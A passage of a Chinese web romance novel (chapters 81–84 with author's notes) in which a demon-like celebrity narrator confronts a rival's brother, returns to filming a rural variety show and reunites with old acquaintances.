霍亦瑀轻笑了下,云淡风轻地说?:“过?去太久,早就忘了,我以为你也是。” 我立马纠正?:“我记忆力挺好的。” 他?又笑了下,浅棕色的眼睛却始终没?有离开我,盘旋不去。 室内温度有点冷,我搓了下手臂,自动把手伸进霍亦瑀的怀里,这个姿势很怀疑,像是从他?身上偷东西似的,于是索性整个人?都躺进他?的怀里,用他?挡风。 他?微微歪头,用手臂环住我,笑起来时?胸腔传来轻微的震动:“冷了?” 我点头,用脑袋蹭了蹭他?的颈窝,想找个更舒服的姿势,却怎么都不满意,于是抓起他?的手摆弄起来。 他?右手掌心那?道?疤痕贯穿始终,几乎将手掌裂成两半。 如果沿着疤痕向上,说?不定能?把整条手臂剖开。我的视线顺着疤痕往上,对上他?的眼睛。 霍亦瑀脸上挂着浅淡的笑,笑起来时?微微弯着眼睛,但浅色的瞳仁永远会显得过?分精神,像是两个摄像头,我往左它就往左,我往右它就往右。 有时?候,他?还挺像栾明的。 我:“你今天?有点奇怪。” 他?说?:“哪里奇怪?” 我摸着下巴,认真地思考着。 哪里奇怪呢? 身上起伏的情绪和开心搭不上边吗?还是说?说?话奇怪呢? 但在仔细想想,这些都和我没?有关系吧。 于是我摇摇头,躺了回去,说?:“可能?是过?劳了吧,你应该休息休息了。” 他?没?说?话,而是将我的手虚虚地握着。 “最近事很多,休息的话要往后放一放。” 他?带着电流的嗓音在耳边响起,语气和平时?一样:“我不回来的话,你一个人?在家会无聊吗?” 我:“你好像问过?这个问题了,我打游戏才不会无聊。” “是我记性不好。” 他?轻笑下,忽然抬起手,将我的手拿到眼前仔细地看,冷不丁道?:“家里多了一张卡。” “哪张?” 难不成是哪里冒出?来的横财? 霍亦瑀:“你放在桌上那?张。” 那?张是邛浚给的,因为想着查下余额,最后却被我遗忘在桌面上。 我必须申明,其实我的记忆力是间歇性的好。 我:“是朋友给我的。” 霍亦瑀嗯了声。 销售经理终于讲解完,口干舌燥地喝了口水,殷切地问:“现在有什么想法?吗?” 我啥也没?听到,胡乱地说?:“我觉得你的方案不错,就按你说?的来吧。” 她的脸上扬起笑,几乎笑得看不见眼睛,掩饰不住的喜出?望外,连说?了三声好。 “按照我的方案来进行搭配,一定会让您有完美的体验,既然这样,那?我们就可以交定金,然后签协议了——” “我去趟洗手间。” 我主动举起手,乐呵呵地朝霍亦瑀笑了下。 他?没?说?话,只是轻笑说?:“去吧,等你回来签字。” 我轻快地往洗手间走?去,一路上都要高兴薅到了飞机,幸好他?的记忆力不好,不记得我说?过?我可以出?一部分钱的话。 这栋楼的洗手间刚好途径休息室,我从外面经过?时?嗅到了浓重的甜蜜气息,又偷尝了两口。 至于打招呼什么的,压根没?有想过?。 虽然泉卓逸成功上岸了,但是我还没?有主动联系他?、继续当S的想法?。 我走?进洗手间,先是打量了一转,像是这种楼,连洗手间都显得格外高级,网上有专门测评的地方,这里的洗手间大概可以有4.8分。 我装模做样地转了一圈,给邛浚发消息炫富,然后通知了朋友们这件事,接着又想上官方账号秀一下。 但刚登上,车千亦的消息就不停地闪烁而出?。 悻悻放弃发布动态的想法?,我还有些疑惑,怎么她休假也在监视我? 放下手机后,我又等了几分钟才出?去。 大理石洗手台上摆放着花朵造型的洗手液,我挨个挤了一遍,调制出?超级混合洗手液,颇有闲情逸致地开始洗手。 因为洗得太专心,抬头才发现身后不知何时?站了个人?。 穿着黑色衬衫的男人?盯着我,白色的睫毛像是落着雪,他?的身形很高,像是一堵墙似的站着,眉眼和泉卓逸相识,是显得来势汹汹的眉压眼。 他?也的确来势汹汹,不怀好意。 “栾小姐。”他?说?,“没?想到在这里遇到你。” “挺巧。” 我搓搓搓:“但是,你叫啥来着?”—— 作者有话说:还有谁没见到来着,总之都快了! 泉卓逸他哥就叫啧啧吧,拙拙啧啧,总之啧啧是个传统霸总(白癜风版),虽然非常嫌弃拙拙,但审美一样,属于看到就会忍不住有好感的类型,奈何嘴硬,肯定是要骟的[摆手],不想写得太白给,让他一边嘴硬,一边让拙拙送上门 哥哥出场会在浦之后,然后窝要猛猛撒狗血,对男配们痛下狠手,大家也想看男的破碎的模样吧,对吧(对吧)[眼镜] 第82章 他脸上没有任何笑?意, 像一尊雕像,听到我的话,情绪波澜不惊,只是睫翼颤了下, 掀起眼帘朝我看?来。 他的眼睛像是冰冻过的树叶, 凝固着深色的绿。 几秒后, 他张开?嘴沉声道:“我想你不用?知道我的名字,毕竟我们之后不会有任何交谈。” “我只是来交代一件事,既然身边有了人,就应该把握住现?在, 如果我的弟弟给你发任何消息,直接无视就好了,我也不想说得太直接, 我想你能懂我的意思。” “不要?念旧情对?你们谁都好。” 我继续搓搓搓。 超级洗手液起泡能力极强,就是有一点不好,要?冲很久才冲得干净。 话音落下后,洗手间里只剩下哗哗的水声, 在潺潺流水声中,温水冲走泡沫,我故意合拢双手,在掌心积起一汪小水潭。 浅淡的、几乎转瞬就从鼻尖溜走的情感被我捕捉到。 味道嘛……像是奶味冰淇淋融化在舌头上, 有点凉。 我砸吧下嘴。 等等, 他刚才是不是在威胁我? 我抬头看?向镜子里的男人, 再次疑惑地问:“那个, 你叫啥来着?” 男人:“……” 他的表情又冷了几分?,转动着拇指上的戒指,似乎准备转身离开?。 我慢悠悠地开?口:“你不说的话, 我一定会去找他的。” 男人停下转动戒指的动作,嘴角扯出冷笑?。 “你在威胁我?” “对?啊。”我说,“你威胁我,我也威胁你,我们彼此?彼此?。” 像我这样全面发展的恶魔也有一个缺点,太过全能,反而显得善良,让人误以为我好欺负。 但如果别人不先招惹我,我是不会主动攻击的。 我依旧捧着水玩,这个水槽方?形台盒是用?特殊材质制成的,水浇上去会印出裂缝。 不断冲刷的水流在台面上溅开?大片裂痕,像是冬日走在冰面上,踩到薄冰处炸开?的纹路,这个时候就必须小心,站在原地不动,稍不注意,冰层破开?,掉进水里浇个透心凉。 但我喜欢看?它裂开?。 冰面总是平整无痕,让人想要?敲碎它。 人也一样。 越是高高在上的人,就越想要?破开?完美无瑕的表面,看?他露出不一样的表情。 镜中倒映的男人微微蹙眉。他五官英俊,却带着不近人情的冷漠,仅仅是流露出些许焦躁,就被我敏锐地捕捉到了。 他好像很不适应和我对?视,时不时咬住后槽牙,咬肌阴影清晰一瞬。 我贴心地补充道:“他应该更听我的话。毕竟,是我丢掉他,他才回到你身边的。” 他的眼神?更冷了,他转动着拇指的戒指,上面镶嵌着的宝石像是刀的亮光,一瞬间亮得刺眼。 低沉的嗓音响起,他又恢复了平静,冷声道:“栾小姐,霍亦瑀知道你是这种人吗?” “现?在你知道了。”我说,“高兴吗?你比他更了解我。” “……” 他一言不发地看?着我,眼神?阴郁如冰封的绿叶,白色睫毛因怒气微微颤动,最终冷漠地吐出三个字:”泉越泽。” “只是个名字而已,我想没必要?——” 他的话还没说完,我手里的小水潭终于有用?了,一个转身全部甩了出去,角度刁钻地、全部浇到穿着黑衬衫的男人身上。 水滴淅淅沥沥地落下,从眉骨到下颌。黑色衬衫洇湿一片,紧贴胸膛,隐约勾勒出胸肌的轮廓。 泉卓逸他哥,泉越泽倒不是个平胸。 我看?了一眼,又忍不住再看?了一眼。 他像是没反应过来,表情有些许呆滞,水珠打?湿睫毛,落在嘴唇上,被他无意识地抿去。 等意识到尝到的水来自哪里后,他的脸上腾起怒意,情绪变化在他的脸上格外清晰,先是眉头隆起,接着眼神?骤然锐利,直直射向我。 不得不说,这副模样顺眼多?了。 我的目光在他湿漉的睫毛上停留片刻,拍拍手,毫无诚意地说:”手滑了,对?不起。” 水滴顺着他的脸滴下,睫毛湿漉漉的黏在一起。 泉越泽抬手擦去水渍,用?难以形容的眼神?盯着我,仿佛看?到了猪在跳舞、狗在唱歌,或是外星人入侵地球。 我看?出来了,他绝对?没料到会发生这种事。 这时我开?始考虑他的报复心理,不过既然泉卓逸肯定站在我这边,在泉卓逸死之前,他都不可能对?我做什么。 我好歹也是个全面发展的差生恶魔,在人类里称得上品行端正?。 泼完水,我佯装惊讶,学着记忆中邛浚气人的模样,装模作样地说:”没事吧?冷不冷?等会不会着凉吧?””哎呀,”我故作懊恼,\”都怪我手滑了。\””” 泉越泽:”栾小姐,这就是你的手段?简直是小孩子的把戏……” 他没说完,又被我抬手打断了。 这种人很有意思,只要?我抬手,他就会停下话头。即使满腔怒火,也依然保持着某种可笑?的风度。 他去菜市场肯定买不到打?折的菜。 我放下手,格外诚恳地说:”泉越泽是吧?我还要?说声抱歉,你要?求的事,我拒绝遵守。” “因为绝对?做不到,所?以提前通知你一声,我肯定会违约。” 他擦去脸上的水渍,冰封的神?情终于龟裂,露出恼怒的神?色,深绿色的眼底积聚着怒意,清晰地倒映出我的身影。 但话到嘴边,我抬起手,比出暂停的手势。 结果泉越泽真就止住了怒气,一瞬不瞬地盯着我。 那要?是我比出继续的手势呢?他会继续吗? 我伸出手,朝他勾了勾,但他的视线落在我的手上,只是将眉头皱得更深,仿佛一只猴子,无论如何也理解不了人类的语言。 一个有道德的人怎么可能打?得过毫无道德的我? 于是,我竖起食指左右摆动,得意地说:”你输了。” 泉越泽垂下眼眸,露出一抹冷笑?,终于明白我在戏弄他,但在他开?口之前,我已经开?始往外走。 泉越泽和泉卓逸一点也不像,即使我从他身旁经过,他再生气也只会站在原地,冷冷地看?着我离开?。 于是,我又没忍住恶作剧的念头,经过他时压低声音说:”你好笨啊。””还没有泉卓逸聪明。” 他冷眼看?着我,一言不发。 这副模样实在滑稽。我好奇地凑近些,盯着他的脸问:”有没有更了解我一点?””我敢保证,你绝对?是最了解我的人。” 他的眉头皱得更紧,目光微变,隐隐又有开?口的趋势。 没等他回答,我先一步溜了,毕竟,装完逼就跑,才是真正?的快乐,看?到他破防的样子简直不能更爽。 回到房间时,霍亦瑀正?低头翻阅文件,他抬眼看?我,轻笑?:”差点要?去找你了,可以签字了。” 我开?心地拿起笔,流畅地签下名字。 等销售经理毕恭毕敬地收好文件,约定好交付时间后,我们便离开?了。 我的心情无比美妙,不仅私人飞机到手,还成功打?了脸,虽然泉越泽是个笨蛋,打?起来都没有感觉,但我还是为第一次的成功开?心。 三十?年河东三十?年河西,莫欺少年穷,泉越泽被我踩在脚下,柯觅山被我踩在脚下,颜升被我踩在脚下……管他是谁通通踩在脚下! 没过多?久,手机震动,泉卓逸不知从哪儿?弄来了我的联系方?式,发来了好友申请。 要?是让他哥看?到这条消息,怕是会气疯吧! 我爽快地通过了好友申请。 他似乎没有反应过来,好几秒后才迟缓地发来消息。 [泉卓逸(有哥版)]:他没有为难你吧? [泉卓逸(有哥版)]:我会补偿的,只要?你想要?,我一定会补偿给你,不要?删掉我…… [世界第一恶魔大人]:你哥很笨 [泉卓逸(有哥版)]:? [泉卓逸(有哥版)]:他跟你说什么了? [泉卓逸(有哥版)]:别听他的话 [泉卓逸(有哥版)]:不,我的意思是别生我的气 [泉卓逸(有哥版)]:他的观点不是我的想法,我至始至终都没有和他任何相同的看?法,这么几年里我从来没有做任何他说过的事…… 消息的篇幅越来越长,长到连从不过问我手机消息的霍亦瑀都淡淡投来一瞥。 我侧了侧身,将霍亦瑀的视线挡在身后。 好家伙,屏幕上几乎全是字,密密麻麻像扭曲的蝌蚪,在内心赞叹的同时,我不忘截图保存。 要?是不说点什么,泉卓逸似乎永远停不下来。 隔着屏幕,仿佛能看?到他浑身颤抖、情绪激动的模样。 过了五年,他好像什么也没变。 [世界第一恶魔大人]:晕字了 [世界第一恶魔大人]:如果你想道歉的话,那就多?来我面前,一有机会就来找我,而且还要?让你哥知道这个消息 过了许久,他才回复了一句。 [泉卓逸(有哥版)]:我知道了 嗯,竟然没有继续发长篇大论,看?来他还是变了。 今天的事让我想起许久前的旧怨,曾有一段时间,泉越泽也是我讨厌的人选,和柯觅山并列。 没想到第一个打?脸的对?象竟然是他,不久前他那副蠢笨的模样,实在令人回味。 一直到抵达家门前,我都在细细品味着打?脸的快感,以及泉越泽那副窘态。 门打?开?了,家里一片寂静,霍亦瑀转过身,阴影笼罩下来了他停着没动,嘴角的笑?意隐没在阴影中。 浅色的眸子盯着我,陷入长久的沉默中。 他好像在等我开?口,但我不懂要?说什么。 等我疑惑地看?向他时,他才缓缓抬起唇角,露出和往日没什么区别的笑?,语气平淡地开?了口。”粉丝抗议得很厉害,小冬,你还是回去工作一段时间吧。” 他说:”车千亦已经在回来的路上了。”—— 作者有话说:哎哟喂,窝有拖延症来的[爆哭] 啧啧原来是个笨蛋,越写越笨,姓泉是不是有智商降低buff,两个人都很笨来的 富哥是开始生气了,之前测试小冬看她有没有心里想着自己,最开始说不上班想想以后要做什么(关系下一阶段结婚啥的),结果完全没想到他,不是找哥就是和鲜花饼玩,已经开始觉得冬子想离开自己,所以决定把冬子按回去上班,属于自信受损但是怎么也不信的阶段,后面就老实了(不老实) 第83章 家人们, 上班啦! 车千亦坐在我?对面,眼下浓重的黑眼圈几乎要蔓延到脸颊,镜片后的双眼布满血丝,带着一股近乎麻木的死气, 她?正?全神贯注地盯着手机屏幕, 手指飞快地敲击, 处理着堆积如山的工作?。 上班第一天,她?已经有点活人微死了。 我?悻悻地收回想要捣乱的手,看向窗户外,陷入了奇妙的思考怪圈。 虽然拿到了私人飞机, 但是我?又回去工作?了,这是不是相当于还是我?自己买的私人飞机,而不是我?从霍亦瑀身上薅到的?毕竟我?的经纪公司是他入股的, 我?赚钱他也能分到啊。 我?越想越有道理,深感?霍亦瑀此?人的城府之深。 就一个私人飞机诶!对他来说洒洒水吧,他加点班怎么了? 我?不由开?始想念栾明。 人与人之间从来不存在无条件的奉献,霍亦瑀的准则很清晰:你给我?什么, 我?才给你什么,一切必须你来我?往。 但是他到底想要什么?我?在他身边还不够吗? 像这种不缺钱的有钱最难搞了,好像钱已经填平了一部分欲望,剩下的就需要追求更?深的、无法得到的东西, 说不定他们自己都不知道想要什么。 还是栾明好。他总是沉默的, 因为?不想要求我?什么, 而站在旁边。 但他总会?固执地把他认为?好的东西塞给我?, 即使那些东西对我?毫无用?处。 人类大概就是这样的生物,违反天性的同时也不得不顺应欲望。 现在我?也有钱了,是不是该学习他们, 追求点根本得不到的东西?但仔细想想,好像什么都可以得到。 前往综艺拍摄地的路上,我?开?始了人生思考,填饱肚子之后,总得有点精神追求吧?那我?到底要什么? 要不然……搞点颜色看看? 我?咂咂嘴,猛然惊觉自己竟然素了这么久,我?可是个恶魔诶,不该银性大发,想怎么搞就怎么搞吗,我?的色欲呢,谁偷走了我?的色欲。 果然吃太饱就什么也不想干,吃不饱什么都想搞。 霍亦瑀是个克制的人,最近又忙于工作?,根本无暇他顾,而颜升前脚刚说要当小三,后脚就人间蒸发了。 念头一起?,心?底便开?始蠢蠢欲动,我?直接给颜升发消息。 [世界第一恶魔大人]:你在干嘛? [颜升(病情待定)]:想我?了?最近有点小事要处理,我?还以为?你把我?忘了,正?琢磨着你什么时候能想起?我?呢 [颜升(病情待定)]:不过托你的福,正?好也要解决了 [颜升(病情待定)]:下次再?来履行下小三的义务吧^^ 仅仅一句话,他就能顺杆爬上来,不得不说,很合我?的胃口,长相也是,把欲望写在脸上的人,总比内敛的人更?能激起?我?的兴趣。 这种感?觉像是一条崭新的内裤! 而旧内裤仿佛心?有灵犀般收到了召唤。 [邛浚(保持警惕)]:不是说要玩吗?怎么又回去工作?了?你对你的好朋友真坏啊,连工作?消息都不通知一声 [世界第一恶魔大人]:你可以在私生群里看啊 [邛浚(保持警惕)]:那我?作?为?好友的专属福利呢? [世界第一恶魔大人]:没用?的人不许跟我?说话 对面竟然没有保持秒回的传统,回复速度罕见地慢了几十秒。 [世界第一恶魔大人]:哭了? [邛浚(保持警惕)]:真的哭了(小熊流泪.gif) [邛浚(保持警惕)]:(图片)(图片) 第一张图片里,顶着一头卷毛的邛浚戴着帽子,用?手在脸颊旁比划出?两条泪痕,帽檐遮住了他的眼睛,只看到努力向下撇的嘴角。 他还是戴着那天那顶帽子,疑似在装酷。 第二张是看不出?地点的风景照,像是在某栋别墅的花园里,闲情逸致地拍了张天空,角落能瞥见屋顶的尖角。 这家伙是在向我?炫富吗? [世界第一恶魔大人]:天上好空啊,感?觉少了点什么 [世界第一恶魔大人]:少了我?的私人飞机。 [世界第一恶魔大人]:(图片)(图片)(图片)(图片)(图片)(图片)(图片)(图片)(图片)(图片)(图片) 我?一口气将相册里所有与飞机相关?的图片都发了过去。 本想着他会?羡慕不已,对着手机流口水,结果这人的脑子不知道哪里出?了问题,大白天就开?始说胡话。 [邛浚(保持警惕)]:你会来看我?吗? [邛浚(保持警惕)]:我以前有个梦想,有一天我?的梦中情友在万众瞩目中出?现,开?着七彩私人飞机来接我? [邛浚(保持警惕)]:我知道这个人就是你(小熊捧脸.jpg) [世界第一恶魔大人]:喝点脑白金吧,年纪轻轻就老年痴呆了 [邛浚(保持警惕)]:(小熊哭泣.gif) [邛浚(保持警惕)]:那我?把自己挪过来吧 过来什么? 我?发了一串问号,但这人再?也不回复了。 窗外的风景逐渐从高楼大厦过渡到自然风光,当我?抬头望去时,一片低矮的、蘑菇般的建筑群映入眼帘。 这次拍摄的综艺名叫《乡见你》。 车千亦在上车前简单介绍了主要流程,无非是一群人坐在田埂上聊天,偶尔比赛干农活、做饭,或者跟村民互动。 至于我?为?什么会?来?因为?这个综艺最近很火,我?记得之前的邀请都被推掉了,但他们仍然坚持不懈。 比起?那些需要东奔西跑的综艺,这个还算轻松。 对面的车千亦短暂地放下手机,叹了口气叮嘱道:“等下开?拍前编导会?讲解今天的主要拍摄内容,时间紧,不会?很长,你认真听,拍摄时别突然跑出?摄像机范围。” “我?也没别的要求了,你就当出?来玩吧。” 我?也跟着叹气:“工作?啊……完全不想工作?。” 车千亦一脸死气,工作?时她?和手机合体,已经变成为?手机勇士,可能只有睡觉才能解体。 她?继续查看手机上的消息通知,通常参加一个活动,她?得加好几个群。 有人的地方就有群,有群的地方就有工作?。 我?深以为?然,庆幸自己不用?加群,在闹哄哄的消息里寻找工作?任务。 车驶入村庄,外面齐刷刷地站了一排摄影师,不远处还围着一群衣着朴素的村民。 刚下车,立刻有人围上来,引着前往临时准备室。 熟悉的化妆台和刺眼的灯光,突兀地出?现在村庄环境里,在井井有条的准备事里,许多人走来走去。 化妆师很有专业素养,紧闭着嘴一言不发,在他动作?时,我?注意到他那条紧抿的嘴唇在微微发抖,但手上的动作?依旧很稳。 车千正?在和工作?人员交涉,从镜子里看去,她?表情严肃,与车里唉声叹气的模样判若两人。 综艺我?也拍过几次,每次都当作?公费旅游,不同的综艺有不同的编导,初次接触时,其实和拍电影、电视剧差不多,都是按剧本来。 起?初,我?的剧本很长,后来就只剩薄薄一页,基本不再?对我?提什么要求。 至于粉丝们的心?情嘛。 他们似乎既不喜欢我?参加综艺,又想多见见我?,永远在想看和不想看的两个极端间反复横跳。 今天,也随便混过去吧。 化妆师很快结束了工作?,但手里拿着刷子在附近徘徊不去,时不时透过镜子偷瞄我?。 从一进门,我?就闻到了混杂的食物气息,在这个单独的空间里,各种气味逐渐变得浓郁。我?一般不喜欢吃太杂的东西,容易闹肚子。 一股特别强烈的气息吸引了我?的注意。 当我?抬头看去时,正?好对上镜中化妆师的视线,他立刻低下头,假装整理化妆包里的工具。 我?不由眯起?眼睛,这股气息说不上来的熟悉,但琢磨不住,不像是我?曾经进食过的。 在我?的注视下,化妆师的呼吸变得急促,忍不住转过身,背对着我?。 “结束了吗?”车千亦打断了我?的思绪,将手里的台本递给我?,“等下还有几位嘉宾到场,你可以先出?去跟前辈们打个招呼。” 我?接过那薄得像样的台本,目光扫过上面的字句,没把她?说的见前辈放在心?上,继续思考着。 情感?如此?强烈的人,肯定是我?的粉丝啦。 介于他还没有其他举动,我?也自然地无视了,工作?的地方出?现的粉丝一般不会?做出?过激的事,最多事后来要签名合照。 在拍摄场地遇到情感?浓烈的粉丝,再?正?常不过了,气味熟悉的原因,大概是他来过几次粉丝见面会?吧。 准备室里人员进进出?出?,气息越来越混杂,熏得我?头晕,我?索性直接起?身出?门。 车千亦跟在我?身后,关?切地问:“怎么了?身体不舒服?” “里面太闷了,我?出?去透透气。” 今天天气很好,天空是洗过的湛蓝色,太阳明晃晃地挂在头顶。 拍摄地点选在农村,放眼望去是大片绿色的农田,远处是绵延的矮山,一路蔓延到天际。 围观的村民已被工作?人员疏散到一旁,不远处聚着一群人正?在交谈,看架势像是导演、编导和综艺里的常驻前辈。 社交是不会?社交的,因为?众所周知我?的人设是性格怪异和疑似自闭症,所以想做什么怪事都可以。 我?秉承“只要我?不看他们,他们就看不见我?”的原则,从他们身边溜过,朝不远处的一棵大树走去。 那处树荫下坐着几个玩耍的孩子,旁边还躺着一只慵懒的大黄狗。 我?的靠近惊动了他们,地上的黄狗立刻站起?来,冲我?“汪”了一声。 这模样让我?想起?霍亦瑀养的那只黑狗,皮毛油光水滑,眼睛是罕见的浅红色,远看像头狼,最爱啃骨头,没事就喜欢躺在我?脚边舔啊舔。 但因为?年纪大了,前阵子生病,被送去了宠物医院,霍亦瑀还专门派人照料它?。 我?已经很久没见到它?了。 黄狗叫了几声,被旁边的小女孩咚地敲了下脑袋,终于安静下来,呜咽着,伸出?舌头讨好地舔她?。 被小女孩推开?后,它?慢悠悠地踱到我?腿边,嗅了嗅,然后就地一滚,露出?了雪白的肚皮。 “你要摸摸它?吗?”小女孩眼睛亮晶晶地问我?。 我?刚想伸手,车千亦幽怨的声音从身后传来:“刚做完造型,至少等开?拍之后再?弄脏,行吗?” “农村的狗虽然看着干净,其实摸上去全是灰,不如先等等,录制完节目想怎么摸都可以。” 旁边跟着的节目组工作?人员连忙打圆场,笑着说:“就差一位嘉宾了,等他到了,我?们就可以开?始拍摄。” “我?还没遇到过要等人的情况。”车千亦一边看手机一边说,“这位的来头很大?” 工作?人员一脸愧疚,不停道歉:“下次一定不会?了!这次也是突发状况,我?们都没料到……” 她?回头瞥了一眼,声音更?低了:“编导那边事先也不知道,现在都在商量对策呢,哎,也不知道赞助商为?什么突然要塞人进来,全是计划外的事。” 什么?还有比我?更?皇族、更?带资进组的人? 我?不禁对最后那位嘉宾产生了些许好奇。 台本上只写了我?需要参与的活动,连前辈的名字都省了,自然看不到其他人。 地上的黄狗得不到抚摸,扭了扭又站起?来,去烦旁边的小孩们。 孩子们和狗嬉笑打闹成一团时,我?趁机占了他们的宝座,悠闲地坐在树荫下,欣赏眼前大片大片的绿色。 台本上的活动包括开?场闲聊、田间劳动和最后的包饺子聚餐。 田间劳动……看来是要下地了。 我?的目光移向不远处正?在甩着尾巴、悠闲吃草的牛。 正?当我?看得出?神时,一个打闹的孩子摔在我?脚边,他瘪着嘴想哭,却被警戒线外的一个村民喊了一声,只好拍拍灰,皱着脸走了过去。 那村民严厉地训斥了几句,拉着孩子往家走去,其他孩子也陆续被家人叫回。 这场景,莫名像极了放学接孩子。 我?盯着他们离去的方向,脑海中闪过几个模糊的画面。 但我?没有抓住它?们,任由它?们溜走。 过去太久的事,没有回想的必要啦,而且以前在乡下的时候,还是首充六块阶段前,过得苦不说,小孩的身体还限制行动,每天都要被人抱来抱去。 头顶的树叶郁郁葱葱,一阵风吹过,掀起?窸窸窣窣的声响。 阳光穿过树叶,将它?们染上金黄,透过的缝隙形成光斑,摇摇晃晃地落在脸上。 我?抬手遮住晃眼的光线,慢悠悠地用?台本给自己扇风。 耳边传来汽车驶近的声音。身后的工作?人员提高了音量,带着如释重负的语气喊道:“他们来了!总算到了!” 我?转头望去,只见一辆白色面包车驶过警戒线,气势十足地停在了空地上。 车门滑开?,走下了一个熟悉的身影。 等等,这不是泉卓逸吗? 他改行当明星了? 不远处的人视线异常敏锐,几乎立刻锁定了我?所在的方向,期期盼盼地望过来。 甜腻的气息隔着老远飘入鼻腔,但似乎有些不同,在那熟悉的甜腻之中,混杂着另一股柔软的、令人怀念的气息。 我?尝出?了棉花糖的味道。 紧接着,另一个人从泉卓逸身后的车厢里走了出?来。 他身姿挺拔,头发修剪得利落,穿着打扮与记忆中截然不同,仿佛经过精心?打磨,显露出?内里的光华。 阳光落在他身上,为?那小麦色的肌肤镀上了一层浅金。 他看向我?,眼中复杂的情绪如潮水般退去,最终化作?一个了然、温和,却又带着几分难以言喻的复杂笑容—— 作者有话说:一锅大乱炖全来了,进行一个爆炒(颠锅) 拙拙的脑子和他哥一样有坑,每次都把普子当礼物送(何意味),普子也是过上好日子了,窝最怜惜的是普子,一家三口里的狗永远在受伤害,让窝们一起爱护动物[猫爪] 第84章 所以, 他?们俩到底谁是明星? 我有点震惊,怎么有人跟我同?一个职业,而且还从没遇到过,那得?糊成啥样啊。 车千亦眉头拧成疙瘩, 语气里满是疑惑:“两个人?” “有一个人好像是赞助公司那边的, 听说还是公司的领导, 也不知道为什么突然?来这么一出?。” 工作人员忍不住嘟囔道:“真?的,模特来掺和什么综艺啊,真?是活久见……等等!他?们怎么朝我们走过来了——” 泉卓逸步子迈得?又大又急,三两步就冲到我面前站定, 西装熨得?笔挺,没有五金挂件,也没有耳钉唇环, 看上去尤其的精英。 他?的模样比起以前来说成熟太多,总让我觉得?这人不是他?,不应该叫做泉卓逸。 发型打理过,五官倒是没怎么变。 泉卓逸看向我, 视线相碰时立马弹开?,垂着眼睛,捏紧的手指逐渐放开?。 他?抿着唇,干巴巴地?说:“我把他?带来了, 你不要生我的气, 好不好。” 五年过去, 他?对我的认知依然?很诡异。 但见到浦真?天确实让我惊喜, 见到他?,就意味着能找到栾明的下落,这简直是天降馅饼。 果然?像霍亦瑀说的, 该出?现?的人自会冒头,用不着我费心去找。 如果他?想出?现?的话,早就应该出?现?在我面前了。 “小冬。” 浦真?天跟在他?身后?,声音有点低沉,他?的模样和记忆中有了区别?,一个光鲜亮丽,一个灰扑扑,简直就是城市美容狗和乡下小土狗的区别?。 这幅时尚人士的打扮让我非常新奇。 以前在[极乐世界]他?都没有这样打扮过,或者?说,没有这种气质。 我忍不住围着他?转了一圈,新奇地?打量他?:“你居然?当?模特了?哇,和以前完全不一样了!” 男公关们纷纷上岸,看起来未来光明,当?模特也很赚啊,虽然?比不上明星,但未来可期。 等等……他?当?的是正经?模特吗? 还没等他?回答,车千亦拧着眉拉住我:“什么情况,你认识?” “是以前认识的人。”我挥挥手,“霍亦瑀知道啦。” 她仍然?不放心,抱臂站在一旁盯着我们。 泉卓逸见状开?口:“既然?霍亦瑀知道,你也不用一直守着,我们不会做什么。” 车千亦看看他?,又看向我,我坦然?地?点头,她的目光仍然?逡巡着,最后?才松开?紧绷的神经?,推了下眼镜。 “既然?这样,那你们可以聊一会,但是距离拍摄开?始也不早了,至少看看台本?吧。” 工作人员立马应声:“我去拿!” 说完一溜烟跑了,仿佛多待一秒都会窒息。 车千亦又停留片刻,终于转身走远。 待周围空出?一片区域,我率先坐下,拍拍身旁的椅子,眼睛发亮地?招呼浦真?天:“快坐快坐!” 浦真?天抿嘴笑,眼角弯起时浮现?熟悉的生涩感?,高挑的身躯小心翼翼蜷进椅子,瞬间褪去时尚外衣,仿佛又成了那个在出?租屋里笑着的人了。 我的印象还停留在他?穿着又土又俗的红色西装上,总是一副无所适从的模样。 泉卓逸也拽过凳子,别?别?扭扭地?蜷曲腿坐下。 “你怎么当?模特了?” 我好奇地?问:“一个月能赚多少啊?” “他?前几年才当?的,除了接广告就是走台,也就走了几次,一个月能赚几万就不错了。” 泉卓逸抢先回答,眼睛亮亮地?看着我,但我看过去时,他?又别?开?眼,把头垂下,盯着地?上的树叶。 “那你又在干嘛?” 他?愣了下,下意识抬起头看我,嘴唇轻抿,唇角下方还保留着唇环摘下的浅痕,淡淡的,像是被蛇咬过留下的疤。 “我回公司了。”他?低声说,“在我哥手下做事。” “一个月能赚多少?” “嗯……没算过。” 他?顿了顿,急忙补充:“每月经?手的流水有几千万。” 我摸了摸下巴,几千万,看来还是我最赚了,一次全球巡演能赚接近九位数。 “小冬。” 温醇的嗓音在耳畔响起,浦真?天双手搁在膝上,目光柔和,他?的瞳色也是浅褐,却?不像霍亦瑀那样过于刺眼,而是像融化的蜜糖,暖融融的。 他?说:“你过得?好吗?” “好啊。”我不由得?意地?说,“我可会赚钱了,再过几天买大房子,你必须来参观,保证最豪华,可以亮瞎你的眼。” “那就好。” 他?喃喃自语,放在膝盖上的手指捏紧又松开?。 空气突然?安静。 泉卓逸的视线在我和浦真天来回看,他?微微皱着眉,但始终不敢说话,也保持着莫名其妙的沉默。 最终还是我打破沉默,问浦真天:“栾明呢?” “……” 浦真天脸上的笑容渐渐淡去,光斑散漫地?洒在脸上,时而晃动而过。 他?张了下嘴,但吐不出?一个字,不知道说什么,最后?才冒出?一句:“你应该叫他?哥。” “才不要嘞。”我撇着嘴说,“他?都不来找我,我决定叫他?的本?名,最好能把他?气到。” “可是他?又听不到……” 我朝着说话的方向瞪了过去,泉卓逸唔了一声,可怜兮兮地?垂着头,西装裤蹭在地?面,起了一层灰。 他?耳朵上干干净净的,以前挂满的耳钉、耳骨钉全没了,看着怪不习惯的。 我还更?喜欢他?叮咚响的时候。 泉卓逸偷瞄我,用力咬着下唇,他?似乎难以忍受我的视线,抬手握住后?颈,呼吸渐渐加重。 “我们说点其他?的吧。” 浦真?天出?来打圆场,唇角漾起一点柔和的弧度,“其实我是你的粉丝,所有歌都会唱,要是告诉别?人我认识你,肯定没人相信。” 我大手一挥:“我给你签名,看谁还敢质疑!” “不过你可别?拿出?去卖了。” 他?笑了下,说好。 周身那股格格不入的拘谨悄然?消散。 我终于知道他?哪里变了,他?似乎终于成为了这个城市的一员,生涩、厚重的不适应感?没了,现?在他?应该是城市户口。 但眼睛还是像小黄一样。 我瞥见不远处摇尾巴的大黄狗,心念一动,对着它嘬嘬嘬几声,大黄狗耳朵立刻竖起,欢快地?奔来,尾巴摇成螺旋桨。 但是我不摸它。 它用湿鼻子拱我,我立刻拍打衣摆倒打一耙:“看你干的好事!把我衣服都弄脏了,要赔的知不知道?” 